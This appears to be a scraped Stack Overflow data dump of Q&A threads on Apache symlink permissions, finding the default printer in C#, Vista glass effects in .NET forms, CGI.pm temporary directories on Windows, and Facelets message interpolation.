www-data\n</code></pre>\n\n<p>And then try navigating the path, directory by directory. You will notice at some point that you don't have access to open the dir.\nIf you get into the last directory, check that you can read the file (with head for example).</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86119", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
I am trying to have Apache follow a symlink to a raid array server that will contain some large data files. I have tried modifying `httpd.conf` to have an entry like this ``` <Directory "/Users/imagine/Sites"> Options FollowSymLinks AllowOverride all Order allow,deny Allow from all </Directory> ``` to have Apache follow any sym link in the Sites folder. I keep getting an error return that seems to indicate I don't have any permissions to access the files. The error is: > > Forbidden > > > You don't have permission to access > /~imagine/imageLibraryTest/videoClips/imageLibraryVideos/imageLibraryVideos/Data13/0002RT-1.mov > on this server. > > > The sys link file is the last "imageLibraryVideos" in the line with the Data13 being the sub dir on the server containing the file. The 0002RT-1.mov file hase these permissions: ``` -rwxrwxrwx 1 imagine staff 1138757 Sep 15 17:01 0002RT-1.mov ``` and is in this path: ``` cd /Volumes/ImagineProducts-1/Users/imagine/Sites/imageLibraryVideos/Data13 ``` the link points to: ``` lrwxr-xr-x 1 imagine staff 65 Sep 15 16:40 imageLibraryVideos -> /Volumes/ImagineProducts-1/Users/imagine/Sites/imageLibraryVideos ```
I had the same problem last week and the solution was pretty simple for me. Run: ``` sudo -i -u www-data ``` And then try navigating the path, directory by directory. You will notice at some point that you don't have access to open the dir. If you get into the last directory, check that you can read the file (with head for example).
86,129
<p>I can make a DAO recordset in VB6/Access do anything - add data, clean data, move data, get data dressed in the morning and take it to school. But I don't even know where to start in .NET. </p> <p>I'm not having any problems retrieving data from the database, but what do real people do when they need to edit data and put it back?</p> <p>What's the easiest and most direct way to edit, update and append data into related tables in .NET and SQL Server?</p>
[ { "answer_id": 86137, "author": "Alex M", "author_id": 9652, "author_profile": "https://Stackoverflow.com/users/9652", "pm_score": 1, "selected": false, "text": "<p>Look in the enclosing directories. They need to be at least mode 711. (<code>drwx--x--x</code>)</p>\n\n<p>Also, look in <code>/var/log/apache2/error_log</code> (Or whatever the concatenation of <code>ServerRoot</code> and <code>ErrorLog</code> is from the <code>httpd.conf</code>) for a possibly more-detailed error message.</p>\n\n<p>Finally, ensure you restart apache after messing with <code>httpd.conf</code>.</p>\n" }, { "answer_id": 86153, "author": "Michael Ridley", "author_id": 4838, "author_profile": "https://Stackoverflow.com/users/4838", "pm_score": 0, "selected": false, "text": "<p>This is a permissions problem where the user that your web server is running under does not have read and/or execute permissions to the necessary directories in the symbolic link path. The quick and easy way to check is to <code>su - web-user</code> (where <code>web-user</code> is the user account that the web server is running under) and then try to cd into the path and view the file. When you come across a directory that you don't have permission to enter, you'll have to change the permissions and/or ownership to make it accessible by the web server user account.</p>\n" }, { "answer_id": 321530, "author": "warren", "author_id": 4418, "author_profile": "https://Stackoverflow.com/users/4418", "pm_score": 1, "selected": false, "text": "<p>You should also look at bind mounts rather than symlinks - that would allow you to remount a given path at a new point. The following is an example:</p>\n\n<pre><code>mount --rbind /path/to/current/location/somewhere/else /new/mount/point\n</code></pre>\n\n<p>You can also edit your <code>fstab</code> to do this at boot:</p>\n\n<pre><code>/path/to/original /new/path bind defaults,bind 0 0\n</code></pre>\n" }, { "answer_id": 7155054, "author": "sebasuy", "author_id": 378400, "author_profile": "https://Stackoverflow.com/users/378400", "pm_score": 2, "selected": false, "text": "<p>I had the same problem last week and the solution was pretty simple for me.</p>\n\n<p>Run:</p>\n\n<pre><code>sudo -i -u www-data\n</code></pre>\n\n<p>And then try navigating the path, directory by directory. You will notice at some point that you don't have access to open the dir.\nIf you get into the last directory, check that you can read the file (with head for example).</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86129", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16415/" ]
I can make a DAO recordset in VB6/Access do anything - add data, clean data, move data, get data dressed in the morning and take it to school. But I don't even know where to start in .NET. I'm not having any problems retrieving data from the database, but what do real people do when they need to edit data and put it back? What's the easiest and most direct way to edit, update and append data into related tables in .NET and SQL Server?
I had the same problem last week and the solution was pretty simple for me. Run: ``` sudo -i -u www-data ``` And then try navigating the path, directory by directory. You will notice at some point that you don't have access to open the dir. If you get into the last directory, check that you can read the file (with head for example).
86,138
<p>I need to get the default printer name. I'll be using C# but I suspect this is more of a framework question and isn't language specific.</p>
[ { "answer_id": 86185, "author": "OwenP", "author_id": 2547, "author_profile": "https://Stackoverflow.com/users/2547", "pm_score": 8, "selected": true, "text": "<p>The easiest way I found is to create a new <code>PrinterSettings</code> object. It starts with all default values, so you can check its <em>Name</em> property to get the name of the default printer.</p>\n\n<p><code>PrinterSettings</code> is in System.Drawing.dll in the namespace <code>System.Drawing.Printing</code>.</p>\n\n<pre><code>PrinterSettings settings = new PrinterSettings();\nConsole.WriteLine(settings.PrinterName);</code></pre>\n\n<p>Alternatively, you could maybe use the static <code>PrinterSettings.InstalledPrinters</code> method to get a list of all printer names, then set the <em>PrinterName</em> property and check the <em>IsDefaultPrinter</em>. I haven't tried this, but the documentation seems to suggest it won't work. Apparently <em>IsDefaultPrinter</em> is only true when <em>PrinterName</em> is not explicitly set.</p>\n" }, { "answer_id": 86370, "author": "Nathan Baulch", "author_id": 8799, "author_profile": "https://Stackoverflow.com/users/8799", "pm_score": 5, "selected": false, "text": "<p>Another approach is using WMI (you'll need to add a reference to the System.Management assembly):</p>\n\n<pre><code>public static string GetDefaultPrinterName()\n{\n var query = new ObjectQuery(\"SELECT * FROM Win32_Printer\");\n var searcher = new ManagementObjectSearcher(query);\n\n foreach (ManagementObject mo in searcher.Get())\n {\n if (((bool?) mo[\"Default\"]) ?? false)\n {\n return mo[\"Name\"] as string;\n }\n }\n\n return null;\n}\n</code></pre>\n" }, { "answer_id": 87349, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 4, "selected": false, "text": "<p>If you just want the printer name no advantage at all. But WMI is capable of returning a whole bunch of other printer properties:</p>\n\n<pre><code>using System;\nusing System.Management;\nnamespace Test\n{\n class Program\n {\n static void Main(string[] args)\n {\n ObjectQuery query = new ObjectQuery(\n \"Select * From Win32_Printer \" +\n \"Where Default = True\");\n\n ManagementObjectSearcher searcher =\n new ManagementObjectSearcher(query);\n\n foreach (ManagementObject mo in searcher.Get())\n {\n Console.WriteLine(mo[\"Name\"] + \"\\n\");\n\n foreach (PropertyData p in mo.Properties)\n {\n Console.WriteLine(p.Name );\n }\n }\n }\n }\n}\n</code></pre>\n\n<p>and not just printers. If you are interested in any kind of computer related data, chances are you can get it with WMI. WQL (the WMI version of SQL) is also one of its advantages.</p>\n" }, { "answer_id": 358979, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<ul>\n<li>1st create an instance of the <code>PrintDialog</code> object.</li>\n<li>then call the print dialog object and leave the <code>PrinterName</code> blank. this will cause the windows object to return the defualt printer name</li>\n<li>write this to a string and use it as the printer name when you call the print procedure</li>\n</ul>\n\n<p>Code:</p>\n\n<pre><code>Try\n\n Dim _printDialog As New System.Windows.Forms.PrintDialog\n\n xPrinterName = _printDialog.PrinterSettings.PrinterName '= \"set as Default printer\"\n\nCatch ex As Exception\n System.Windows.Forms.MessageBox.Show(\"could not printed Label.\", \"Print Error\", MessageBoxButtons.OK, MessageBoxIcon.Error)\nEnd Try\n</code></pre>\n" }, { "answer_id": 9587897, "author": "Alexander Zwitbaum", "author_id": 104930, "author_profile": "https://Stackoverflow.com/users/104930", "pm_score": 3, "selected": false, "text": "<p>I use always in this case the System.Printing.LocalPrintServer, which makes also possible to obtain whether the printer is local, network or fax.</p>\n\n<pre><code>string defaultPrinter;\nusing(var printServer = new LocalPrintServer()) {\n defaultPrinter = printServer.DefaultPrintQueue.FullName);\n}\n</code></pre>\n\n<p>or using a static method GetDefaultPrintQueue</p>\n\n<pre><code>LocalPrintServer.GetDefaultPrintQueue().FullName\n</code></pre>\n" }, { "answer_id": 45630329, "author": "Ramgy Borja", "author_id": 7978302, "author_profile": "https://Stackoverflow.com/users/7978302", "pm_score": 2, "selected": false, "text": "<p>Try also this example </p>\n\n<pre><code> PrinterSettings printerName = new PrinterSettings();\n\n string defaultPrinter;\n\n defaultPrinter = printerName.PrinterName;\n</code></pre>\n" }, { "answer_id": 56147272, "author": "Tahir Rehman", "author_id": 4407600, "author_profile": "https://Stackoverflow.com/users/4407600", "pm_score": 1, "selected": false, "text": "<p>This should work:</p>\n\n<p><code>using System.Drawing.Printing;</code></p>\n\n<p><code>PrinterSettings settings = new PrinterSettings();\nstring defaultPrinterName = settings.PrinterName;</code></p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86138", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7176/" ]
I need to get the default printer name. I'll be using C# but I suspect this is more of a framework question and isn't language specific.
The easiest way I found is to create a new `PrinterSettings` object. It starts with all default values, so you can check its *Name* property to get the name of the default printer. `PrinterSettings` is in System.Drawing.dll in the namespace `System.Drawing.Printing`. ``` PrinterSettings settings = new PrinterSettings(); Console.WriteLine(settings.PrinterName); ``` Alternatively, you could maybe use the static `PrinterSettings.InstalledPrinters` method to get a list of all printer names, then set the *PrinterName* property and check the *IsDefaultPrinter*. I haven't tried this, but the documentation seems to suggest it won't work. Apparently *IsDefaultPrinter* is only true when *PrinterName* is not explicitly set.
86,143
<p>There are a couple of tricks for getting glass support for .Net forms.</p> <p>I think the original source for this method is here: <a href="http://blogs.msdn.com/tims/archive/2006/04/18/578637.aspx" rel="nofollow noreferrer">http://blogs.msdn.com/tims/archive/2006/04/18/578637.aspx</a></p> <p>Basically:</p> <pre><code>//reference Desktop Windows Manager (DWM API) [DllImport( "dwmapi.dll" )] static extern void DwmIsCompositionEnabled( ref bool pfEnabled ); [DllImport( "dwmapi.dll" )] static extern int DwmExtendFrameIntoClientArea( IntPtr hWnd, ref MARGINS pMarInset ); //then on form load //check for Vista if ( Environment.OSVersion.Version.Major &gt;= 6 ) { //check for support bool isGlassSupported = false; DwmIsCompositionEnabled( ref isGlassSupported ); if ( isGlassSupported ) DwmExtendFrameIntoClientArea( this.Handle, ref margins ); ... //finally on print draw a black box over the alpha-ed area //Before SP1 you could also use a black form background </code></pre> <p>That final step is the issue - any sub controls drawn over that area seem to also treat black as the alpha transparency mask.</p> <p>For instance a tab strip over the class area will have transparent text.</p> <p>Is there a way around this?</p> <p>Is there an easier way to do this?</p> <p>The applications I'm working on have to work on both XP and Vista - I need them to degrade gracefully. Are there any best practices here?</p>
[ { "answer_id": 86168, "author": "TheSmurf", "author_id": 1975282, "author_profile": "https://Stackoverflow.com/users/1975282", "pm_score": 3, "selected": true, "text": "<p>There really isn't an easier way to do this. These APIs are not exposed by the .NET Framework (yet), so the only way to do it is through some kind of interop (or WPF).</p>\n\n<p>As for working with both Windows versions, the code you have should be fine, since the runtime does not go looking for the entry point to the DLL until you actually call the function.</p>\n" }, { "answer_id": 86187, "author": "Martin Marconcini", "author_id": 2684, "author_profile": "https://Stackoverflow.com/users/2684", "pm_score": 1, "selected": false, "text": "<p>DannySmurf said it. You don't have direct \"managed\" access to these APIs though the .NET framework (I tried this myself a few weeks ago).</p>\n\n<p>I ended up doing something nasty. Created my own UI with GDI+. (Buttons, rounded labels, etc). It looks the same regardless of the Windows version. Win.Forms is really ugly, but that's all you got on the XP &lt; side. </p>\n" }, { "answer_id": 86209, "author": "Keith", "author_id": 905, "author_profile": "https://Stackoverflow.com/users/905", "pm_score": 0, "selected": false, "text": "<p>I don't mind the unmanaged calls - it's the hack of using a black box to mimic the alpha behaviour and the effect it then has on black element in some components on top that's the problem.</p>\n" }, { "answer_id": 86315, "author": "Abe Heidebrecht", "author_id": 9268, "author_profile": "https://Stackoverflow.com/users/9268", "pm_score": 1, "selected": false, "text": "<p>I think you forgot to set the TransparencyKey of the area you want to be glass. From the article, </p>\n\n<blockquote>\n <p>In your Windows Forms application, you\n simply need to set the TransparencyKey\n property to a color that you won't use\n elsewhere in the application (I use\n Gainsboro, for reasons that will\n become apparent later). Then you can\n create one or more panels that are\n docked to the margins of your form and\n set the background color for the panel\n to the transparency key. Now when you\n call DwmExtendFrameIntoClientArea, the\n glass will show within its margins\n wherever you've set something of the\n appropriate transparency key.</p>\n</blockquote>\n" }, { "answer_id": 1105027, "author": "softwerx", "author_id": 113240, "author_profile": "https://Stackoverflow.com/users/113240", "pm_score": 0, "selected": false, "text": "<p>A cheap hack you can use is to place a transparent Panel control over your form and place your controls on it -- black will then be black.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86143", "https://Stackoverflow.com", "https://Stackoverflow.com/users/905/" ]
There are a couple of tricks for getting glass support for .Net forms. I think the original source for this method is here: <http://blogs.msdn.com/tims/archive/2006/04/18/578637.aspx> Basically: ``` //reference Desktop Windows Manager (DWM API) [DllImport( "dwmapi.dll" )] static extern void DwmIsCompositionEnabled( ref bool pfEnabled ); [DllImport( "dwmapi.dll" )] static extern int DwmExtendFrameIntoClientArea( IntPtr hWnd, ref MARGINS pMarInset ); //then on form load //check for Vista if ( Environment.OSVersion.Version.Major >= 6 ) { //check for support bool isGlassSupported = false; DwmIsCompositionEnabled( ref isGlassSupported ); if ( isGlassSupported ) DwmExtendFrameIntoClientArea( this.Handle, ref margins ); ... //finally on print draw a black box over the alpha-ed area //Before SP1 you could also use a black form background ``` That final step is the issue - any sub controls drawn over that area seem to also treat black as the alpha transparency mask. For instance a tab strip over the class area will have transparent text. Is there a way around this? Is there an easier way to do this? The applications I'm working on have to work on both XP and Vista - I need them to degrade gracefully. Are there any best practices here?
There really isn't an easier way to do this. These APIs are not exposed by the .NET Framework (yet), so the only way to do it is through some kind of interop (or WPF). As for working with both Windows versions, the code you have should be fine, since the runtime does not go looking for the entry point to the DLL until you actually call the function.
86,175
<p>On all my Windows servers, except for one machine, when I execute the following code to allocate a temporary files folder:</p> <pre><code>use CGI; my $tmpfile = new CGITempFile(1); print "tmpfile='", $tmpfile-&gt;as_string(), "'\n"; </code></pre> <p>The variable <code>$tmpfile</code> is assigned the value <code>'.\CGItemp1'</code> and this is what I want. But on one of my servers it's incorrectly set to <code>C:\temp\CGItemp1</code>.</p> <p>All the servers are running Windows 2003 Standard Edition, IIS6 and ActivePerl 5.8.8.822 (upgrading to later version of Perl not an option). The result is always the same when running a script from the command line or in IIS as a CGI script (where scriptmap <code>.pl</code> = <code>c:\perl\bin\perl.exe "%s" %s</code>).</p> <p>How I can fix this Perl installation and force it to return '<code>.\CGItemp1</code>' by default?</p> <p>I've even copied the whole Perl folder from one of the working servers to this machine but no joy.</p> <p><a href="https://stackoverflow.com/questions/86175/where-is-cgi-pm-supposed-to-create-temporary-files/86200#86200">@Hometoast:</a></p> <p>I checked the '<code>TMP</code>' and '<code>TEMP</code>' environment variables and also <code>$ENV{TMP}</code> and <code>$ENV{TEMP}</code> and they're identical. </p> <p>From command line they point to the user profile directory, for example: </p> <blockquote> <p><code>C:\DOCUME~1\[USERNAME]\LOCALS~1\Temp\1</code></p> </blockquote> <p>When run under IIS as a CGI script they both point to:</p> <blockquote> <p><code>c:\windows\temp</code></p> </blockquote> <p>In registry key <code>HKEY_USERS/.DEFAULT/Environment</code>, both servers have:</p> <blockquote> <p><code>%USERPROFILE%\Local Settings\Temp</code></p> </blockquote> <p>The ActiveState implementation of <code>CGITempFile()</code> is clearly using an alternative mechanism to determine how it should generate the temporary folder.</p> <p><a href="https://stackoverflow.com/questions/86175/where-is-cgi-pm-supposed-to-create-temporary-files/86993#86993">@Ranguard:</a></p> <p>The real problem is with the <code>CGI.pm</code> module and attachment handling. Whenever a file is uploaded to the site <code>CGI.pm</code> needs to store it somewhere temporary. To do this <code>CGITempFile()</code> is called within <code>CGI.pm</code> to allocate a temporary folder. So unfortunately I can't use <code>File::Temp</code>. Thanks anyway.</p> <p><a href="https://stackoverflow.com/questions/86175/where-is-cgi-pm-supposed-to-create-temporary-files/86874#86874">@Chris:</a></p> <p>That helped a bunch. I did have a quick scan through the <code>CGI.pm</code> source earlier but your suggestion made me go back and look at it more studiously to understand the underlying algorithm. I got things working, but the oddest thing is that there was originally no <code>c:\temp</code> folder on the server. </p> <p>To obtain a temporary fix I created a <code>c:\temp</code> folder and set the relevant permissions for the website's anonymous user account. But because this is a shared box I couldn't leave things that way, even though the temp files were being deleted. To cut a long story short, I renamed the <code>c:\temp</code> folder to something different and magically the correct '<code>.\</code>' folder path was being returned. I also noticed that the customer had enabled FrontPage extensions on the site, which removes write access for the anonymous user account on the website folders, so this permission needed re-applying. I'm still at a loss as to why at the start of this issue <code>CGITempFile()</code> was returning <code>c:\temp</code>, even though that folder didn't exist, and why it magically started working again.</p>
[ { "answer_id": 86200, "author": "hometoast", "author_id": 2009, "author_profile": "https://Stackoverflow.com/users/2009", "pm_score": 1, "selected": false, "text": "<p>If you're running this script as you, check the %TEMP% environment variable to see if if it differs.</p>\n\n<p>If IIS is executing, check the values in registry for TMP and TEMP under\nHKEY_USERS/.DEFAULT/Environment</p>\n" }, { "answer_id": 86874, "author": "ChrisN", "author_id": 3853, "author_profile": "https://Stackoverflow.com/users/3853", "pm_score": 4, "selected": true, "text": "<p>The name of the temporary directory is held in <code>$CGITempFile::TMPDIRECTORY</code> and initialised in the <code>find_tempdir</code> function in CGI.pm.\nThe algorithm for choosing the temporary directory is described in the CGI.pm documentation (search for <strong>-private_tempfiles</strong>).\nIIUC, if a C:\\Temp folder exists on the server, CGI.pm will use it. If none of the directories checked in <code>find_tempdir</code> exist, then the current directory \".\" is used.</p>\n\n<p>I hope this helps.</p>\n" }, { "answer_id": 86993, "author": "Ranguard", "author_id": 12850, "author_profile": "https://Stackoverflow.com/users/12850", "pm_score": 2, "selected": false, "text": "<p>Not the direct answer to your question, but have you tried using <a href=\"http://search.cpan.org/dist/File-Temp/\" rel=\"nofollow noreferrer\">File::Temp</a>? </p>\n\n<p>It is specifically designed to work on any OS.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86175", "https://Stackoverflow.com", "https://Stackoverflow.com/users/419/" ]
On all my Windows servers, except for one machine, when I execute the following code to allocate a temporary files folder: ``` use CGI; my $tmpfile = new CGITempFile(1); print "tmpfile='", $tmpfile->as_string(), "'\n"; ``` The variable `$tmpfile` is assigned the value `'.\CGItemp1'` and this is what I want. But on one of my servers it's incorrectly set to `C:\temp\CGItemp1`. All the servers are running Windows 2003 Standard Edition, IIS6 and ActivePerl 5.8.8.822 (upgrading to later version of Perl not an option). The result is always the same when running a script from the command line or in IIS as a CGI script (where scriptmap `.pl` = `c:\perl\bin\perl.exe "%s" %s`). How I can fix this Perl installation and force it to return '`.\CGItemp1`' by default? I've even copied the whole Perl folder from one of the working servers to this machine but no joy. [@Hometoast:](https://stackoverflow.com/questions/86175/where-is-cgi-pm-supposed-to-create-temporary-files/86200#86200) I checked the '`TMP`' and '`TEMP`' environment variables and also `$ENV{TMP}` and `$ENV{TEMP}` and they're identical. From command line they point to the user profile directory, for example: > > `C:\DOCUME~1\[USERNAME]\LOCALS~1\Temp\1` > > > When run under IIS as a CGI script they both point to: > > `c:\windows\temp` > > > In registry key `HKEY_USERS/.DEFAULT/Environment`, both servers have: > > `%USERPROFILE%\Local Settings\Temp` > > > The ActiveState implementation of `CGITempFile()` is clearly using an alternative mechanism to determine how it should generate the temporary folder. [@Ranguard:](https://stackoverflow.com/questions/86175/where-is-cgi-pm-supposed-to-create-temporary-files/86993#86993) The real problem is with the `CGI.pm` module and attachment handling. Whenever a file is uploaded to the site `CGI.pm` needs to store it somewhere temporary. To do this `CGITempFile()` is called within `CGI.pm` to allocate a temporary folder. So unfortunately I can't use `File::Temp`. Thanks anyway. [@Chris:](https://stackoverflow.com/questions/86175/where-is-cgi-pm-supposed-to-create-temporary-files/86874#86874) That helped a bunch. I did have a quick scan through the `CGI.pm` source earlier but your suggestion made me go back and look at it more studiously to understand the underlying algorithm. I got things working, but the oddest thing is that there was originally no `c:\temp` folder on the server. To obtain a temporary fix I created a `c:\temp` folder and set the relevant permissions for the website's anonymous user account. But because this is a shared box I couldn't leave things that way, even though the temp files were being deleted. To cut a long story short, I renamed the `c:\temp` folder to something different and magically the correct '`.\`' folder path was being returned. I also noticed that the customer had enabled FrontPage extensions on the site, which removes write access for the anonymous user account on the website folders, so this permission needed re-applying. I'm still at a loss as to why at the start of this issue `CGITempFile()` was returning `c:\temp`, even though that folder didn't exist, and why it magically started working again.
The name of the temporary directory is held in `$CGITempFile::TMPDIRECTORY` and initialised in the `find_tempdir` function in CGI.pm. The algorithm for choosing the temporary directory is described in the CGI.pm documentation (search for **-private\_tempfiles**). IIUC, if a C:\Temp folder exists on the server, CGI.pm will use it. If none of the directories checked in `find_tempdir` exist, then the current directory "." is used. I hope this helps.
86,202
<p>Does <a href="https://facelets.dev.java.net/" rel="nofollow noreferrer">Facelets</a> have any features for neater or more readable internationalised user interface text labels that what you can otherwise do using JSF?</p> <p>For example, with plain JSF, using h:outputFormat is a very verbose way to interpolate variables in messages.</p> <p><em>Clarification:</em> I know that I can add a message file entry that looks like:</p> <pre><code>label.widget.count = You have a total of {0} widgets. </code></pre> <p>and display this (if I'm using Seam) with:</p> <pre><code>&lt;h:outputFormat value="#{messages['label.widget.count']}"&gt; &lt;f:param value="#{widgetCount}"/&gt; &lt;/h:outputFormat&gt; </code></pre> <p>but that's a lot of clutter to output one sentence - just the sort of thing that gives JSF a bad name.</p>
[ { "answer_id": 92356, "author": "Javaxpert", "author_id": 15241, "author_profile": "https://Stackoverflow.com/users/15241", "pm_score": -1, "selected": false, "text": "<p>Use ResourceBundle and property files.</p>\n" }, { "answer_id": 93224, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>I've never come across another way of doing it other than outputFormat. It is unfortunately quite verbose.</p>\n\n<p>The only other thing I can suggest is creating the message in a backing bean and then outputting that rather than messageFormat.</p>\n\n<p>In my case I have Spring's MessageSource integrated with JSF (using <a href=\"http://www.thearcmind.com/confluence/display/SpribernateSF/Spring+JSF+contribution+Round+1+MessageSourcePropertyResolver\" rel=\"nofollow noreferrer\">MessageSourcePropertyResolver</a>). Then, it's fairly easy in your backing beans to get parameterised messages - you just need to know which Locale your user is in (again, I've got the Locale bound to a backing bean property so it's accessible via JSF or Java).</p>\n\n<p>I think parameters - particular in messages - are one thing JSF could really do better!</p>\n" }, { "answer_id": 100277, "author": "Peter Hilton", "author_id": 2670, "author_profile": "https://Stackoverflow.com/users/2670", "pm_score": 2, "selected": false, "text": "<p>I have been thinking about this more, and it occurs to me that I could probably write my own JSTL function that takes a message key and a variable number of parameters:</p>\n\n<pre><code>&lt;h:outputText value=\"#{my:message('label.widget.count', widgetCount)}\"/&gt;\n</code></pre>\n\n<p>and if my message function HTML-encodes the result before output, I wouldn't even need to use the h:outputText</p>\n\n<pre><code>#{my:message('label.widget.count', widgetCount)}\n</code></pre>\n" }, { "answer_id": 100499, "author": "Sietse", "author_id": 6400, "author_profile": "https://Stackoverflow.com/users/6400", "pm_score": 3, "selected": false, "text": "<p>Since you're using Seam, <a href=\"http://docs.jboss.com/seam/2.1.0.BETA1/reference/en-US/html_single/#d0e13037\" rel=\"noreferrer\">you can use EL</a> in the messages file.</p>\n\n<p>Property:</p>\n\n<pre><code>label.widget.count = You have a total of #{widgetCount} widgets.\n</code></pre>\n\n<p>XHTML:</p>\n\n<pre><code>&lt;h:outputFormat value=\"#{messages['label.widget.count']}\" /&gt;\n</code></pre>\n\n<p>This still uses outputFormat, but is less verbose.</p>\n" }, { "answer_id": 656391, "author": "Daan van Yperen", "author_id": 70262, "author_profile": "https://Stackoverflow.com/users/70262", "pm_score": 3, "selected": true, "text": "<p>You could create your own faces tag library to make it less verbose, something like:</p>\n\n<pre><code>&lt;ph:i18n key=\"label.widget.count\" p0=\"#{widgetCount}\"/&gt;\n</code></pre>\n\n<p>Then create the taglib in your view dir: /components/ph.taglib.xml</p>\n\n<pre><code>&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\n&lt;!DOCTYPE facelet-taglib PUBLIC \"-//Sun Microsystems, Inc.//DTD Facelet Taglib 1.0//EN\" \"https://facelets.dev.java.net/source/browse/*checkout*/facelets/src/etc/facelet-taglib_1_0.dtd\"&gt;\n\n&lt;facelet-taglib xmlns=\"http://java.sun.com/JSF/Facelet\"&gt;\n &lt;namespace&gt;http://peterhilton.com/core&lt;/namespace&gt;\n\n &lt;tag&gt;\n &lt;tag-name&gt;i18n&lt;/tag-name&gt;\n &lt;source&gt;i18n.xhtml&lt;/source&gt;\n &lt;/tag&gt;\n\n&lt;/facelet-taglib&gt;\n</code></pre>\n\n<p>create /components/i18n.xhtml</p>\n\n<pre><code>&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\n&lt;!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n&lt;ui:composition xmlns=\"http://www.w3.org/1999/xhtml\"\n xmlns:ui=\"http://java.sun.com/jsf/facelets\"\n xmlns:h=\"http://java.sun.com/jsf/html\" \n xmlns:f=\"http://java.sun.com/jsf/core\"&gt;\n\n &lt;h:outputFormat value=\"#{messages[key]}\"&gt;\n &lt;!-- crude but it works --&gt;\n &lt;f:param value=\"#{p0}\" /&gt;\n &lt;f:param value=\"#{p1}\" /&gt;\n &lt;f:param value=\"#{p2}\" /&gt;\n &lt;f:param value=\"#{p3}\" /&gt;\n &lt;/h:outputFormat&gt;\n\n&lt;/ui:composition&gt;\n</code></pre>\n\n<p>You can probably find an elegant way of passing the arguments with a little research.</p>\n\n<p>Now register your new taglib in web.xml</p>\n\n<pre><code>&lt;context-param&gt;\n&lt;param-name&gt;facelets.LIBRARIES&lt;/param-name&gt;\n&lt;param-value&gt;\n /components/ph.taglib.xml\n &lt;/param-value&gt;\n&lt;/context-param&gt;\n</code></pre>\n\n<p>Just add <code>xmlns:ph=\"http://peterhilton.com/core\"</code> to your views and you're all set!</p>\n" }, { "answer_id": 725362, "author": "Damo", "author_id": 2955, "author_profile": "https://Stackoverflow.com/users/2955", "pm_score": 2, "selected": false, "text": "<p>You can use the Seam Interpolator:</p>\n\n<pre><code>&lt;h:outputText value=\"#{interpolator.interpolate(messages['label.widget.count'], widgetCount)}\"/&gt;\n</code></pre>\n\n<p>It has @BypassInterceptors on it so the performance should be ok.</p>\n" }, { "answer_id": 21808243, "author": "Grim", "author_id": 843943, "author_profile": "https://Stackoverflow.com/users/843943", "pm_score": 1, "selected": false, "text": "<p>You can use the Bean directly if you interpolate the messages.</p>\n\n<pre><code>label.widget.count = You have a total of #{widgetCount} widgets.\nlabel.welcome.message = Welcome to #{request.contextPath}!\nlabel.welcome.url = Your path is ${pageContext.servletContext}.\n</code></pre>\n\n<p><code>${messages['label.widget.count']}</code> is enougth.</p>\n\n<p>This one works great using Spring:</p>\n\n<pre><code>package foo;\n\nimport javax.el.ELContext;\nimport javax.el.ELException;\nimport javax.el.ExpressionFactory;\nimport javax.el.ResourceBundleELResolver;\nimport javax.faces.context.FacesContext;\n\nimport org.springframework.web.jsf.el.SpringBeanFacesELResolver;\n\npublic class ELResolver extends SpringBeanFacesELResolver {\n private static final ExpressionFactory FACTORY = FacesContext\n .getCurrentInstance().getApplication().getExpressionFactory();\n private static final ResourceBundleELResolver RESOLVER = new ResourceBundleELResolver();\n\n @Override\n public Object getValue(ELContext elContext, Object base, Object property)\n throws ELException {\n Object result = super.getValue(elContext, base, property);\n if (result == null) {\n result = RESOLVER.getValue(elContext, base, property);\n if (result instanceof String) {\n String el = (String) result;\n if (el.contains(\"${\") | el.contains(\"#{\")) {\n result = FACTORY.createValueExpression(elContext, el,\n String.class).getValue(elContext);\n }\n }\n }\n return result;\n }\n}\n</code></pre>\n\n<p>And...</p>\n\n<p>You need to change the EL-Resolver in <code>faces-config.xml</code> from <code>org.springframework.web.jsf.el.SpringBeanFacesELResolver</code> to </p>\n\n<p>Regards</p>\n\n<pre><code>&lt;el-resolver&gt;foo.ELResolver&lt;/el-resolver&gt;\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86202", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2670/" ]
Does [Facelets](https://facelets.dev.java.net/) have any features for neater or more readable internationalised user interface text labels that what you can otherwise do using JSF? For example, with plain JSF, using h:outputFormat is a very verbose way to interpolate variables in messages. *Clarification:* I know that I can add a message file entry that looks like: ``` label.widget.count = You have a total of {0} widgets. ``` and display this (if I'm using Seam) with: ``` <h:outputFormat value="#{messages['label.widget.count']}"> <f:param value="#{widgetCount}"/> </h:outputFormat> ``` but that's a lot of clutter to output one sentence - just the sort of thing that gives JSF a bad name.
